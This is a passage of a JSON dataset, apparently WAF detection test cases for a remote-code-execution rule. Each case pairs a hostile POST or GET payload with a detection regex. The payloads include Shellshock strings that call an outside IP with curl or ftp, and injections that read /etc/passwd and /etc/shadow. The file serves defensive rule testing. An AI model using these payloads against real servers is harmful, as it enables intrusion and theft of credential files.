"attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+<!--#exec%20cmd="/bin/cat%20/etc/shadow"-->" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\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b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Like rule True Negative Rule Integrity 9 but the html entity is concatenation with RCE at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=%0Acat%20/etc/passwd;+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0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a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+%0Acat%20/etc/passwd;" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\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\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Like rule True Negative Rule Integrity 10 but the html entity is concatenation with RCE at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=()%20{%20:;};%20/bin/sh%20-c%20\"curl%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname%20-a\\`\"+Something+%26%238222%3BThe+Title%26%238221%3B.+After+something" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated":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L" }, "metadata": { "rule_id": "932230", "test_description": "Like rule True Negative Rule Integrity 11 but the html entity is concatenation with RCE at the end" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+()%20{%20:;};%20/bin/bash%20-c%20\"ftp%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?dig=\\`top%20-a\\`\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\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\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Like rule True Negative Rule Integrity 11 but the html entity is concatenation with RCE at the beginning" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=()%20{%20:;};%20/bin/sh%20-c%20\"curl%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname%20-a\\`\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*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*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE in arg and html entity is sent in cookie" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=()%20{%20:;};%20/bin/sh%20-c%20\"ftp%20http://135.23.158.130/.testing/shellshock.txt?vuln=22?uname=\\`uname%20-a\\`\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "oper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\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "RCE in arg and html entity is sent in cookie" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=` /bin/cat /etc/passwd`" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||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&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Unix command injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=`cut crs312``dig 34test`" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\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|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Unix command injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;gcc10.1<<\\|]|$).*|[ls][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?r[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?e|n[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\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{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Test RCE with new semantic versions - ;gcc10.1" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=;irb<<<1+2" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\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\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Test RCE with new semantic versions - ;irb31" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+warner" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_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a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection bypass with time negative test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=time+sh+-c+whoami" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 